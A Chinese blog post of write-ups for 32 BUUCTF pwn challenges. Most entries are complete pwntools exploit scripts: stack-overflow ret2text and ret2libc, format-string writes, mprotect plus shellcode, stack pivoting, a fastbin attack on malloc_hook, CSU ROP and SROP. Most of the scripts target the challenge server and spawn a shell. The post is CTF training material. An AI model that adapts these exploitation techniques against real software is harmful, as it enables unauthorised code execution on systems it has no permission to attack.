BUUCTF-PWN-第一頁writep(32題)

2022-10-10 06:00:47

溫故而知新,可以為師矣。所以花了幾天時間重新做了下 buuctf 的 pwn 題,先發下第一頁共 32 題的題解。還有如果題解都很詳細那麼本文就太長了,寫起來也浪費時間,所以比較簡單的題就直接丟 exp 了,不懂可以去看其他人的題解,難的題我覺得我寫的題解應該是挺詳細的。截至到發文日期,只要是涉及 libc 的題目的 exp 都是能打通遠端的。如有錯誤評論歡迎指正。

 

test_your_nc

直接 nc 連線即可得到 shell

 rip

簡單的 ret2text ,不過靶機是 ubuntu18 ,要注意用 ret 指令進行棧平衡

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p = remote('node4.buuoj.cn', 28520)
#p = process('pwn1')
elf = ELF('pwn1')

#p.recv()
ret = 0x0000000000401016
payload = b'a'*(0xf+8) + p64(ret) + p64(elf.sym['fun'])
p.sendline(payload)
p.interactive()

warmup_csaw_2016

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p = remote('node4.buuoj.cn', 26284)
#p = process('pwn1')
elf = ELF('pwn1')

p.recv()
payload = b'a'*(0x40+8) + p64(0x40060d)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

  直接通過 IDA 檢視 v1 與 v2 的距離,通過溢位覆蓋 v2 的值

from pwn import *
p = remote("node4.buuoj.cn",26954)
payload = b'a'*44 + p64(0x41348000) //應該將浮點數轉為十六進位制
p.send(payload)
p.interactive()

pwn1_sctf_2016

跟著main主函數,發現vuln函數這裡有溢位漏洞

 

 這裡的fgets限制了輸入的長度,一看是沒有溢位漏洞的,但是下面的replace函數會將輸入的 ‘I' 替換成 ’you‘,我們可以根據這個實現溢位漏洞

並且發現了 get_flag 函數的地址

 於是構造exp如下

from pwn import *
connect = 1
if connect:
p = remote("node4.buuoj.cn",29821)
else:
p = process('1')
payload = b'I'*20 + b'a'*4 + p32(0x8048F0D)
p.send(payload)
p.interactive()

 jarvisoj_level0

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p = remote('node4.buuoj.cn', 26366)
#p = process('pwn1')
elf = ELF('level0')

p.recv()
payload = b'a'*0x88 + p64(elf.sym['callsystem'])
p.sendline(payload)
p.interactive()

[第五空間2019 決賽]PWN5

存在格式化字串漏洞,只要第二次輸入的次和隨機值 dword_804c44 相等,即可得到shell
利用 %n 修改dword_804c044 的值
於是構造exp如下
from pwn import *
from LibcSearcher import *
p = process("./pwn")
data_addr = 0x804c044
payload = p32(data_addr) + b"%10$n"
p.recv()
p.sendline(payload)
p.recv()
p.sendline(b'4')
p.interactive()

 也可以利用 pwntools 的 fmtstr_payload 實現

from pwn import *
proc_name = './pwn'
sh = process(proc_name)

unk_804C044 = 0x804C044

payload = fmtstr_payload(10, {unk_804C044: 0x1})
sh.sendline(payload)
sh.sendline(str(0x1))
sh.interactive()

ciscn_2019_c_1

最終在encrypt()函數這找到溢位漏洞

 利用 \x00 進行字元截斷,就不會對後面的 payload 進行加密了

之後就是 ret2libc,並且要注意棧平衡

from pwn import *
from LibcSearcher import *
#p = process("./1")
p = remote("node4.buuoj.cn", 28810)
elf = ELF("./1")
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = elf.symbols["main"]

#first : get puts_addr
payload1 = b'\0' + b'a'*(0x50 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload1)
p.recvline() #注意這裡接受兩行
p.recvline()
text = p.recv()
puts_addr = u64(text[:6].ljust(8,b'\x00'))  //實測如果這裡不補足8位元,u64無法轉換

#secode : get libcbase and other fuction addrs
libc = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - libc.dump("puts")
#print(libcbase)
system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")

#third : get shell
p.sendline(b'1')
p.recv()
payload2 = b'\0' + b'a'*(0x50 + 7) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()

 ciscn_2019_n_8

 

如圖,QWORD 代表代表了兩個位元組,將var[17]賦值為17即可

from pwn import*

#p = process("./1")
p = remote("node4.buuoj.cn", 29946)
p.recv()
payload = b'a'*13*4 + p64(0x11)
#payload = p32(17)*14
p.sendline(payload)
p.interactive()

jarvisoj_level2

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = remote('node4.buuoj.cn', 27484)
p = process('pwn')
elf = ELF('pwn')

p.recv()
payload = b'a'*140 + p32(elf.sym['system']) + p32(0) + p32(next(elf.search(b'/bin/sh\x00')))
p.sendline(payload)
p.interactive()
p.recv()

 bjdctf_2020_babystack

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 27053)
elf = ELF('pwn')

p.recv()
payload = b'a'*24 + p64(elf.sym['backdoor'])
p.sendline(b'50')
p.recv()
p.sendline(payload)
p.interactive()

[OGeek2019]babyrop

main

 於是我們構造以下payload

 

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#context(os='linux', arch='amd64')

#p = process('./1')
p = remote('node4.buuoj.cn', 27088)
elf = ELF('1')

pop3_addr = 0x0806fc08
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
buf_addr = 0x080eb000

payload = b'a'*56
payload += p32(mprotect_addr) + p32(pop3_addr) + p32(buf_addr) + p32(0x1000) + p32(0x7)
payload += p32(read_addr) + p32(pop3_addr) + p32(0) + p32(buf_addr) + p32(0x100)
payload += p32(buf_addr)

p.sendline(payload)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

jarvisoj_level2_x64

 64位元下的 ret2text

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 28941)
elf = ELF('pwn')

rdi = 0x4006b3
payload = b'a'*0x88 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system'])
p.recv()
p.sendline(payload)
p.interactive()

 [HarekazeCTF2019]baby_rop

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 27109)
elf = ELF('pwn')

rdi = 0x400683
payload = b'a'*0x18 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system'])
p.recv()
p.sendline(payload)
p.interactive()

 ciscn_2019_en_2

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 29131)
elf = ELF('pwn')

ret = 0x4006b9
rdi = 0x400c83

p.recv()
p.sendline(b'1')
payload = b'\x00' + b'a'*0x57 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#print(hex(puts_addr))
libc = ELF('buu/libc-2.27-x64.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

p.recv()
p.sendline(b'1')
payload = b'\x00' + b'a'*0x57 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
p.interactive()

not_the_same_3dsctf_2016

跟前面一道題比較類似

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#context(os='linux', arch='amd64')

#p = process('./1')
p = remote('node4.buuoj.cn', 28016)
elf = ELF('1')

get_secret_addr = elf.symbols['get_secret']
exit_addr = elf.symbols['exit']
write_addr = elf.symbols['write']
flag_addr = 0x080ECA2D

payload = b'a'*45 + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(flag_addr) + p32(0x100)
p.sendline(payload)
print(p.recv())

 ciscn_2019_n_5

裸的 ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 26628)
elf = ELF('pwn')

ret = 0x00000000004004c9
rdi = 0x0000000000400713

p.sendlineafter(b'tell me your name\n', 'w1nd')
payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'What do you want to say to me?\n', payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('buu/libc-2.27-x64.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

p.sendlineafter(b'tell me your name\n', 'w1nd')
payload = b'a'*0x28 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'What do you want to say to me?\n', payload)

p.interactive()

 others_shellcode

 直接 nc

execve 系統呼叫

這裡的 strcpy 函數導致了棧溢位漏洞

 在構造payload的時候,記得system函數地址後的返回地址四個位元組不能有一個為零,否則strcpy函數複製的時候遇到 \x00 就不繼續複製了

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#context(os='linux', arch='amd64')

#p = process('./1')
p = remote("node4.buuoj.cn", 29577)
elf = ELF('1')
system_addr = elf.symbols['system']
sh_addr = next(elf.search(b'sh\x00'))
ret = 0x0804843e

p.sendlineafter('Please input admin password', 'administrator')
p.sendlineafter('0.Exit\n:', '1')

payload = b'a'*(0x48+4) + p32(system_addr) + b'a'*4 + p32(sh_addr) #所以這裡寫成了 b'a'*4
p.sendlineafter('Please input new log info:', payload)
p.sendlineafter('0.Exit\n:', '4')
p.interactive()

 鐵人三項(第五賽區)_2018_rop

 這裡用 write 洩露 libc,其它都很尋常的 ret2libc

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 29939)
elf = ELF('pwn')

payload = b'a'*0x8c + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(0x4)
p.sendline(payload)

write_addr = u32(p.recv())
libc = ELF('buu/libc-2.27.so')
libcbase = write_addr - libc.sym['write']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*0x8c + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()

bjdctf_2020_babyrop

普通的 ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 26698)
elf = ELF('pwn')

rdi = 0x400733
ret = 0x4004c9

payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'story!\n', payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('buu/libc-2.23-x64.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'story!\n', payload)
p.interactive()

 bjdctf_2020_babystack2

簡單的整數溢位和ret2text
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 27408)
elf = ELF('pwn')

p.sendlineafter(b'your name:\n', '-1')
payload = b'a'*0x18 + p64(elf.sym['backdoor'])
p.sendlineafter(b'u name?\n', payload)
p.interactive()

jarvisoj_fm

 格式化字串漏洞

偵錯可知是第十一個引數

exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p = process('pwn')
#p = remote('node4.buuoj.cn', 26628)
elf = ELF('pwn')

x_addr = 0x804A02C
#payload = fmtstr_payload(11,{x_addr:4})
payload = p32(x_addr) + b'%11$n'
p.sendline(payload)
#print(p.recv())
p.interactive()

pwn2_sctf_2016 

 簡單的整數溢位和 ret2libc,但是坑的是

最後呼叫 system('/bin/sh') 的時候,如果用 p32(0) 會導致打不通

 看組合程式碼才發現,原來程式讀字串用的是自定義的 get_n 函數

IDA中可以找到很多 leave 指令

 

exp如下

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#context(os='linux', arch='amd64')

#p = process('./1')
p = remote('node4.buuoj.cn', 28244)
elf = ELF('1')

leave = 0x080484B8
system_addr = elf.symbols['system']

p.send(b'a'*36 + b'stop')
p.recvuntil(b'stop')
ebp = u32(p.recv(4))

payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a')
payload += p32(ebp-0x38) + p32(leave)
p.send(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

 64位元下的 printf 函數洩露 libc

坑的是如果是洩露 printf@got 是會失敗的
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 27227)
elf = ELF('pwn')

rdi = 0x400733
rsi_r15 = 0x400731
ret = 0x4004d1
#%s
str_s = 0x400770 

payload = b'a'*0x28 + p64(rdi) + p64(str_s) + p64(rsi_r15) + p64(elf.got['read']) + p64(0) + p64(elf.plt['printf']) + p64(elf.sym['main'])
p.sendlineafter(b'What\'s your name? ',payload)
p.recvline()
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc = ELF('buu/libc-2.23-x64.so')
libcbase = read_addr - libc.sym['read']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'What\'s your name? ',payload)
p.interactive()

jarvisoj_tell_me_something

需要 gdb 動態偵錯 ,或者注意下組合程式碼

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 28205)
elf = ELF('pwn')

rdi = 0x400668
ret = 0x400469

payload = b'a'*0x88 + p64(elf.sym['good_game'])
p.sendlineafter(b'Input your message:\n', payload)
p.recv()
p.recv()

babyheap_0ctf_2017

選單堆題,保護措施一般全開。。。。
接下來是修改堆塊2 的 fd,使其指向堆塊4
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) 
fill(0,payload)
可以看到堆塊4 已經加入了 fastbin
但是 fastbin 不能容納 0x91 的 chunk ,並且我們重新 allcate 時也要過記憶體檢測,所以繼續利用堆溢位修改堆塊4的大小
payload = p64(0)*3 + p64(0x21) 
fill(3,payload)
可以看到正常的 free 狀態的 堆塊4,但是由於部分空間不在堆塊的範圍內,所以看不到 top chunk
這一步比較關鍵
之前因為我們 free(1) 和 free(2) ,所以 index1 和 index2 是為空的, fastbin 又是隻有堆塊2 和堆塊4 這兩個堆塊,那麼我們重新 allocate 時,由於 fastbin 採用頭插法,所以先進的 chunk 反而後被 allocate ,所以這個時候 index1 -> 堆塊2,index2 -> 堆塊4 ,值得注意的是 index4 -> 堆塊4 ,這樣我們才能達到洩露 main_arena 的目的
多 allocate 一個 chunk 是防止我們 free(4) 後堆塊4 和 top chunk 合併了
allocate(0x10) 
allocate(0x10) 
payload = p64(0)*3 + p64(0x91) 
fill(3,payload) 
allocate(0x80) 
free(4)
偵錯結果如下
還有先恢復堆塊4 的大小,才能加入 unsortedbin
由於 dump 函數的程式碼限制,必須 index != 0 ,才能輸出內容,所以才需要利用 index4 -> 堆塊4 去 free , index2 -> 堆塊4 去 dump ,真的太巧妙了!!
偵錯也可只洩露的 fd 距離 main_arena 的偏移量為 0x58
wiki 中寫道, main_arena -0x10 一般是 malloc_hook 的地址
同時把 libc 中的 malloc_hook 的地址也洩露出來
那麼我們就得的 libcbase 了,偏移應該是 0x3c4b10 - 0x58 -0x10 = 0x3c4b78
接下來就是把 malloc_hook 修改為 one_gadget,需要用到 fastbin attack
再看此時的堆塊的情況
還有一個問題,要怎麼找到合適的堆塊呢,畢竟 size 的資料要符合 fastbin 的範圍
我們知道地址一般都是 0x7f 結尾,並且是小端序,所以我們可以控制 fd 指向的地址為 0x00*7 + 0x7f ,如果算上 0x10 的 prve size 和 size ,那麼我們可以申請 0x60 大小的堆塊
如圖,小端序中 0x7f 的資料很多
我們是可以找到這樣的資料的
libc中 malloc_hook 的地址為 0x3c4b10 ,在圖一中的地址是 0x7f02debd1b10
圖二中我們可以寫入的 fd 為 0x7f02debd1aed ,相差 0x23 ,所以我們的 fd 應該為 libcbase + 0x3c4b10-0x23 ==> libcbase + 0x3c4aed
覆寫 malloc_hook 的時候,由於不考慮 prve size 和 size 這 0x10 個位元組,所以我們只需要填充 0x13 的無用位元組
allocate(0x60) 
free(4)
切割成兩個堆塊,其中一個是 0x60,為 fastbin attack 做鋪墊
payload = p64(libcbase + 0x3c4aed) 
fill(2,payload)
修改堆塊4 的fd,使其指向 malloc_hook 上面的地方
allocate(0x60) 
allocate(0x60)
再申請兩個 0x60 的chunk,這時候我們就可以修改 malloc_hook 了
one_gadget = libcbase + 0x4526a 
payload = b'a'*0x13 + p64(one_gadget) 
fill(6, payload) 
allocate(0x10) #跳轉到 one_gadget
成功攻擊!!
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 28357)
elf = ELF('./pwn')
libc = ELF('./buu/libc-2.23-x64.so')

def allocate(size):
    p.sendlineafter("Command:", '1')
    p.sendlineafter("Size:", str(size))

def fill(index, content):
    p.sendlineafter("Command:", '2')
    p.sendlineafter("Index:", str(index))
    p.sendlineafter("Size:", str(len(content)))
    p.sendafter("Content:", content)

def free(index):
    p.sendlineafter("Command:", '3')
    p.sendlineafter("Index:", str(index))

def dump(index):
    p.sendlineafter("Command:", '4')
    p.sendlineafter("Index:", str(index))

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload)

payload = p64(0)*3 + p64(0x21)
fill(3,payload)

allocate(0x10)
allocate(0x10)
payload = p64(0)*3 + p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

dump(2)
p.recv()
main_arena_0x58 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#libc_malloc_hook = 0x3c4b10
libcbase = main_arena_0x58 - 0x3c4b78
print('libcbase => ',hex(libcbase))


allocate(0x60)
free(4)
payload = p64(libcbase + 0x3c4aed)
fill(2,payload)

allocate(0x60)
allocate(0x60)

one_gadget = libcbase + 0x4526a
payload = b'a'*0x13 + p64(one_gadget)
fill(6, payload)

allocate(0x10)

p.interactive()
總結:堆題太靈活太富有技巧性了,怎麼把技巧性的總結為經驗是很重要的

jarvisoj_level3

簡單的 ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 29138)
elf = ELF('pwn')

payload = b'a'*140 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(0x1) + p32(elf.got['write']) + p32(0x4)
p.sendlineafter(b'Input:\n', payload)

write_addr = u32(p.recvuntil(b'\xf7'))
print('write_addr=>',hex(write_addr))

libc = ELF('buu/libc-2.23.so')
libcbase = write_addr - libc.sym['write']
one_gadget = libcbase + 0x3a80c

payload = b'a'*140 + p32(one_gadget)
p.sendlineafter(b'Input:\n', payload)
p.interactive()

ciscn_2019_s_3

可以利用的程式函數很少的一道題
其中,由於沒開啟 PIE ,所以 0x400536 沒有變化直接被列印出來
因此,如果把 aaaaaaaa 替換成 /bin/sh 時,那麼,我們接受到了 0x20 開始的八個字元就是與 /bin/sh 的地址有固定偏移量的地址。偏移量為 0xdf88 - 0xde70 = 0x118 ,所以 /bin/sh 的地址就拿到了
我們的目的是進行 execve 系統呼叫
$rax==59 
$rdi== binsh_addr
$rsi==0
$rdx==0
syscall
不過 rdx 的指令利用 ROPgadget 找不到
所以就是 CSU_ROP 了
看這兩處區域,其中 0x400580 可以幫助我們控制 rdx 暫存器,但是一旦執行到 0x400589 這裡,那麼就會跳轉到 [r12 + 0] ,所以要注意控制 r12 暫存器,並且,cmp 跳轉這裡的 rbp 暫存器也是需要我們去控制的
需要控制這麼多的暫存器,那麼就只有下面的 0x40059A 開始的指令合適了
那麼二次攻擊的 payload 就應該是 像將 rbx rbp r12 r13 r14 r15 放入構造好的值,以便接下來利用 0x400580 指令時程式能夠順利執行 shellcode
接下來要弄清楚我們要應該給 r12 傳什麼值
首先我們的二次攻擊 pyload 應該是這樣的
/bin/sh\x00 # binsh_addr
b'a'*8 #填充到 ret
rbx_rbp_r12_r13_r14_r15
rbx => 0
rbp => 1 #避免跳轉
r12 =>
r13 => 0
r14 => 0
r15 => 0
r13_rdx # rdx 賦值完畢 開始執行 call cmp 指令
rdi # call 應該跳轉到這裡,binsh_addr + 0x50
rdi => binsh_addr # rdi 賦值完畢
rsi_r15
rsi => 0 # rsi 賦值完畢
r15 => 0
rax_3b
rax => 3b # rax 賦值完畢
syscall #進行系統呼叫 getshell
注:每一格的大小為 0x8
有兩個坑點,第一個真的特別坑,ubuntu16偵錯的話, 0x20 後洩露的地址與 /bin/sh 的偏移量是 0x118, ubuntu22 是 0x148,還有如果第一次攻擊後跳轉到 main 函數的話,偏移量應該要是 0x138 ,只有跳轉到 vuln 函數才能是 0x118
第二個是沒有組合指令中 leave ,所以直接覆蓋 ret 就行
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 26376)
elf = ELF('pwn')

rax_3b = 0x4004E2
rdi = 0x4005a3
rsi_r15 = 0x4005a1
rbx_rbp_r12_r13_r14_r15 = 0x40059A
r13_rdx = 0x400580
syscall = 0x400517

payload = b'a'*0x10 + p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
print('binsh=>',hex(binsh))


payload = b'/bin/sh\x00'
payload = payload.ljust(0x10, b'a')
payload += p64(rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(binsh + 0x50) + p64(0)*3
payload += p64(r13_rdx)
payload += p64(rdi) + p64(binsh)
payload += p64(rsi_r15) + p64(0)*2
payload += p64(rax_3b)
payload += p64(syscall)

p.sendline(payload)

p.interactive()
不懂,為什麼偏移要隨跳轉函數的改變而改變,是因為vuln 呼叫 main 和 main 呼叫 vuln 棧中多壓入 rbp 和 rip 嗎,所以多了 0x20 ,但是我偵錯的時候貌似 buf 的地址會改變,第二次洩露的地址就是第一次洩露的地址 - 0x118 。而且是在第一次攻擊呼叫 main 函數的情況下。當然這是本地偵錯的情況,遠端就不清楚了
還可以用 SROP 的方法做
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64')

#p = process('pwn')
p = remote('node4.buuoj.cn', 26376)
elf = ELF('pwn')

rax_15 = 0x4004DA
syscall = 0x400517

payload = b'a'*0x10 + p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
print('binsh=>',hex(binsh))

# 設定sigframe關鍵暫存器
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

print('sigframe.rax:',sigframe.rax)
payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe)

p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

檢視棧可以發現,我們的資料在 0xffa39603 處開始填充,如果要覆蓋 ebp ,那麼需要 0x16 + 4 個位元組
這裡 chall 函數洩露地址是 0xfff5f9cc
0
記錄我們寫入的 shellcode 的偏移為 0x1c,所以可以用 洩露地址 - 0x1c 來代表 shellcode 地址
0
於是構造出以下exp
from pwn import *
p=process('./1')
context.log_level='debug'

p.recvuntil('crash: ') stack=int(p.recv(10),16) print(hex(stack)) payload=b'crashme\x00'+b'a'*(0x16+4-8) + p32(stack-0x1c) + asm(shellcraft.sh()) p.sendline(payload) p.interactive()

 這裡比較坑的是,不知道是不是我環境設定的原因,我用 ubuntu16 和 ubuntu18 這兩臺是無法成功動態偵錯的,一按 c 就程式就直接結束了,根本不理會是否設定了斷點,換了 ubuntu22 和 kali 才能正常偵錯